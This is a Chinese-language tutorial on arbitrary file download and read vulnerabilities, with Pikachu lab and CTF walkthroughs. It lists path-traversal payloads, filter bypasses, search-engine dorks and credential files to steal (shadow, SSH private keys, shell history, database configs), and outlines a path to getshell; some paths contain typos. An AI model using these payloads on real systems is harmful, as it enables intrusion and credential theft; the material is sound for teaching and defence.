案例講解WEB 漏洞-文件操作之文件下載讀取
原理
產生:任意語言代碼下載函數
文件下載(一些網站由於業務需求,往往需要提供文件查看或文件下載功能,但若對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞。)
文件下載功能在很多web系統上都會出現,一般我們當點擊下載鏈接,便會向後臺發送一個下載請求,一般這個請求會包含一個需要下載的文件名稱,後臺在收到請求後 會開始執行下載代碼,將該文件名對應的文件response給瀏覽器,從而完成下載。 如果後臺在收到請求的文件名後,將其直接拼進下載文件的路徑中而不對其進行安全判斷的話,則可能會引發不安全的文件下載漏洞。此時如果 攻擊者提交的不是一個程序預期的的文件名,而是一個精心構造的路徑(比如../../../etc/passwd),則很有可能會直接將該指定的文件下載下來。 從而導致後臺敏感信息(密碼文件、源代碼等)被下載。
所以,在設計文件下載功能時,如果下載的目標文件是由前端傳進來的,則一定要對傳進來的文件進行安全考慮。
漏洞危害
下載服務器任意文件,如腳本代碼、服務及系統配置文件等
可用得到的代碼進一步代碼審計,得到更多可利用漏洞
利用方式
淺談任意文件下載漏洞的利用
信息收集信息→猜路徑→下載配置文件/代碼文件→利用服務器軟件漏洞→shell→提權
首先收集系統信息,包括系統版本,中間件,cms版本,服務器用途,服務器使用者信息,端口,web路徑等,然後根據收集到的信息,下載配置文件,如weblogic,ftp,ssh等, 根據下載到的配置文件進行滲透。
1. 讀取程序源代碼(如密碼配置文件)
2. 讀取程序配置文件(如數據庫連接文件)
如weblogic,ssh,ftp,數據庫配置文件等, 當解出密碼後,進行登陸,getshell
3. 讀取操作系統關鍵文件(如/etc/sadow,/ root/.bash_history等文件)
4. 讀取運維配置文件(redis/rsync/ftp/ssh客 戶端數據等)
5. 讀取中間件配置文件(weblogic/tomcat等 密碼文件,apache的httpd.conf文件)
6. 下載web日志文件(獲取網站後臺/上傳文件 等)
下載日志文件,找到登錄/上傳/後臺/ 操作,找到登錄入口 可以爆破,測試默認口令,弱口令, 找到文件上傳點則測試文件上傳漏洞,找到後臺操作試試有沒有未授權訪問
7. 結合SSRF獲取內網機器文件
8. 可以利用../返回到上級目錄下載敏感文件
系統文件
window
C:\boot.ini //查看系統版本
C:\Windows\System32\inetsrv\MetaBase. xml //IIS配置文件
C:\Windows\repair\sam //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user. MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux
.bash_history` # 歷史中可能帶著用戶的密碼 ( 遇到過現實案例,是輸錯的情況下參數的,比如沒 輸入 su 卻以為自己輸瞭 su)
/etc/passwd # 用戶情況
/etc/shadow # 直接 John the Ripper
/etc/hosts # 主機信息,通常配置瞭一些內網 域名
/root/.bash_history //root的bash歷史記錄
/root/.ssh/authorized_keys /root/.mysql_history //mysql的bash歷史記錄
/root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在運行的進程信息,可以獲得進程的pid號,可以配合後面需要pid的利用
/proc/mounts // 掛載的文件系統列表
/proc/net/arp //arp表,可以獲得內網其他機器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活動連接的信息
/proc/net/fib_trie // 路由緩存
/proc/version // 內核版本
/proc/[PID]/cmdline // 可能包含有用的路徑信息
/proc/[PID]/environ // 程序運行的環境變量信息,可以用來包含getshell
/proc/[PID]/cwd // 當前進程的工作目錄
/proc/[PID]/fd/[#] // 訪問file descriptors, 某寫情況可以讀取到進程正在使用的文件,比如 access.log /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
/usr/local/tomcat/conf/tomcat-users. xml # tomcat 用戶配置文件
/root/.bashrc # 環境變量
/root/.bash_history # 還有root外的其他用戶
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私鑰直接ssh
/proc/xxxx/cmdline # 進程狀態枚舉 xxxx 可以為0000-9999 使用burpsuite 數據庫 config 文件 web 日志 access.log, error.log /var/lib/php/sess_PHPSESSID # 非常規問題 session 文件
/proc/net/arp /proc/net/tcp /proc/net/udp /proc/net/dev
常見腳本敏感文件參考
PHP: inc/config. php獲得數據庫連接字符串中的口令信息
asp: inc/conn.asp文件,獲得數據庫連接字符串,得到數據庫口令。
aspx: web.config網站根目錄文件,獲得數據庫連接信息。
JSP: conf/ tomcat-user.xml文件,獲得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,獲得數據庫連接字符串中的口令信息。
任意文件讀取
<?php $filename = "test.txt"; readfile($filename); ?> <?php $filename = "test.txt"; $fp = fopen($filename,"r") or die("Unable to open file!"); $data = fread($fp,filesize($filename)); fclose($fp); echo $data; ?> <?php $filename = "test.txt"; echo file_get_contents($filename); ?>
任意文件下載
直接下載:
<a href="http://www.xx.com/a.zip" rel="external nofollow" >Download</a>
用header()下載:
<?php $filename = "uploads/201607141437284653.jpg"; header('Content-Type: imgage/jpeg'); header('Content-Disposition: attachment; filename='.$filename); header('Content-Lengh: '.filesize($filename)); ?>
Google search
inurl:"readfile.php?file=" inurl:"read.php?filename=" inurl:"download.php?file=" inurl:"down.php?file=" 等等...
漏洞利用代碼
readfile.php?file=/etc/passwd readfile.php?file=../../../../../../../../etc/passwd readfile.php?file=../../../../../../../../etc/passwd%00
1.文件被解析,則是文件包含漏洞
2.顯示源代碼,則是文件讀取漏洞
3.提示文件下載,則是文件下載漏洞
漏洞挖掘
可以用Google hacking或Web漏洞掃描器 從鏈接上看,形如: • readfile.php?file=***.txt • download.php?file=***.rar 從參數名看,形如: • &RealPath= • &FilePath= • &filepath= • &Path= • &path= • &inputFile= • &url= • &urls= • &Lang= • &dis= • &data= • &readfile= • &filep= • &src= • &menu= • META-INF • WEB-INF 目錄符號等 ../ ..\ .\ ./等 %00 ? %23 %20 .等
漏洞驗證
• index.php?f=../../../../../../etc/passwd • index.php?f=../index.php • index.php?f=file:///etc/passwd 註:當參數f的參數值為php文件時,若是文件被解析則是文件包含漏洞, 若顯示源碼或提示下載則是文件查看與下載漏洞
漏洞防范
任意文件下載漏洞的簡單防護措施
1、過濾“.”符號,使用戶在url中無法回溯到上級目錄。
2、使用正則表達式嚴格判斷用戶輸入參數的格式。
3、php.ini配置文件中對於open_basedir進行配置,限定用戶的文件訪問范圍。
4、固定目錄
案例
pikuchu靶場-文件下載測試
1、判斷是否為文件上傳漏洞
點擊任意圖片,發現下載瞭圖片,復制圖片下載鏈接查看
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=kb.png
查看參數名為filename,查看參數後面的值也與下載的文件名一樣
初步判定為文件上傳漏洞
2、判斷下載路徑
filename的文件名是單純的文件名,可判斷是前面加瞭路徑名,也可能是與網站在同一個目錄下
通過URL判斷文件是通過跳轉到execdownload.php頁面下載的,我們試試看可不可以直接下載到execdownload.php這個源碼
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=execdownload.php
發現顯示無法下載,說明該execdownload.php與文件不在同一個路徑下,我們嘗試下到上一級路徑
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=../execdownload.php
成功下載,打開源碼發現是在download文件夾下
說明文件下載路徑的文件夾與down_nba.php是同一級路徑
3、嘗試下載敏感文件(以下路徑均通過掃描路徑得到)
pikachu-master/inc/config.inc.php
當前下載路徑:
pikachu-master/vul/unsafedownload/download/xxx.xxx
與vul相差3個父目錄,所以加3個…/
完整url:
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=…/…/…/inc/config.inc.php
下載成功,打開發現裡面存在數據庫相關的配置文件
小米路由器-文件讀取真實測試-漏洞
復現
RoarCTF2019-文件讀取真題復現
wp
首先看到一個頁面,點擊下help看看啥情況。
發現輸出一串
java.io.FileNotFoundException:{help.docx}
是文件無法找到的異常信息
查詢資料發現:
WEB-INF/web.xml泄露
WEB-INF是Java的WEB應用的安全目錄。如果想在頁面中直接訪問其中的文件,必須通過web.xml文件對要訪問的文件進行相應映射才能訪問。WEB-INF主要包含一下文件或目錄:
/WEB-INF/web.xml:Web應用程序配置文件,描述瞭 servlet 和其他的應用組件配置及命名規則。
/WEB-INF/classes/:含瞭站點所有用的 class 文件,包括 servlet class 和非servlet class,他們不能包含在 .jar文件中
/WEB-INF/lib/:存放web應用需要的各種JAR文件,放置僅在這個應用中要求使用的jar文件,如數據庫驅動jar文件
/WEB-INF/src/:源碼目錄,按照包名結構放置各個java文件。
/WEB-INF/database.properties:數據庫配置文件
漏洞成因:
通常一些web應用我們會使用多個web服務器搭配使用,解決其中的一個web服務器的性能缺陷以及做均衡負載的優點和完成一些分層結構的安全策略等。在使用這種架構的時候,由於對靜態資源的目錄或文件的映射配置不當,可能會引發一些的安全問題,導致web.xml等文件能夠被讀取。漏洞檢測以及利用方法:通過找到web.xml文件,推斷class文件的路徑,最後直接class文件,在通過反編譯class文件,得到網站源碼。一般情況,jsp引擎默認都是禁止訪問WEB-INF目錄的,Nginx 配合Tomcat做均衡負載或集群等情況時,問題原因其實很簡單,Nginx不會去考慮配置其他類型引擎(Nginx不是jsp引擎)導致的安全問題而引入到自身的安全規范中來(這樣耦合性太高瞭),修改Nginx配置文件禁止訪問WEB-INF目錄就好瞭: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
根據上文,我們先找一下WEB-INF/web.xml,POST傳值
得到WEB-INF/web.xml文件,打開
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Index</welcome-file> </welcome-file-list> <servlet> <servlet-name>IndexController</servlet-name> <servlet-class>com.wm.ctf.IndexController</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexController</servlet-name> <url-pattern>/Index</url-pattern> </servlet-mapping> <servlet> <servlet-name>LoginController</servlet-name> <servlet-class>com.wm.ctf.LoginController</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginController</servlet-name> <url-pattern>/Login</url-pattern> </servlet-mapping> <servlet> <servlet-name>DownloadController</servlet-name> <servlet-class>com.wm.ctf.DownloadController</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadController</servlet-name> <url-pattern>/Download</url-pattern> </servlet-mapping> <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping> </web-app>
我們可以看到com.wm.FlagController,
<servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>
servlet-class裡面的.代表的是路徑/
然後下載FlagController.class文件試一試
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
打開文件發現一串base編碼,進行base64解密得到flag
資料1
資料2
百度杯2017二月-Zone真題復現
靶場
wp1
wp2
1、 嘗試burp抓包發現cookie中有個login,值為0,將0改為1後在訪問首頁,發現可以正常登入
2、單擊 “manage” (此時還是需要用burp改login的值),點擊框框發現比較特殊的url;猜測可能存在文件包含或者下載、讀取
3、測試訪問url: xxxxxx.com/manages/admin.php?module=ind…/ex&name=php 頁面可以正常訪問,猜測過濾瞭一遍…/再試一試繞過 url:url: xxxxxx.com/manages/admin.php?module=ind…/./ex&name=php 訪問不正常;
說明過濾機制隻是把…/進行瞭一次過濾,所以我們雙寫…/即可
4、訪問測試任意文件讀取判斷路徑通過不斷加…/ url:?module=…/./…/./…/./etc/passwd&name
(用戶情況文件)
5、查看下服務器是nginx。找一下它的配置文件,根據信息讀取配置文件, url: manages/admin.php?module=…/./…/./…/./etc/nginx/nginx.conf 獲得關鍵文件sites-enabled/default 並進行讀取
module=…/./…/./…/./etc/nginx/sites-enabled/default&name=獲得web文件路徑online-movies 並訪問
6、發現可以利用的漏洞,因為有一個autoindex on也就是開啟瞭目錄遍歷,我們可以訪問這個/online-movies/,訪問出現如下,再點擊…/發現要進行驗證,把login改為1後頁面空白,我通過百度發現要/online-movies/…才能遍歷(不清楚為什麼)
7、訪問/online-movies…/
8、地址為:online-movies…/var/www/html/flag.php構造url下載到flag.php獲得flag
到此這篇關於案例講解WEB 漏洞-文件操作之文件下載讀取的文章就介紹到這瞭,更多相關WEB 漏洞文件下載讀取內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- Servlet服務端實現原理詳解
- 詳解spring mvc中url-pattern的寫法
- Web三大組件之Filter,Listener和Servlet詳解
- SpringMVC xml文件路徑在web.xml中的配置方式
- JavaWeb踩坑記錄之項目訪問不到html文件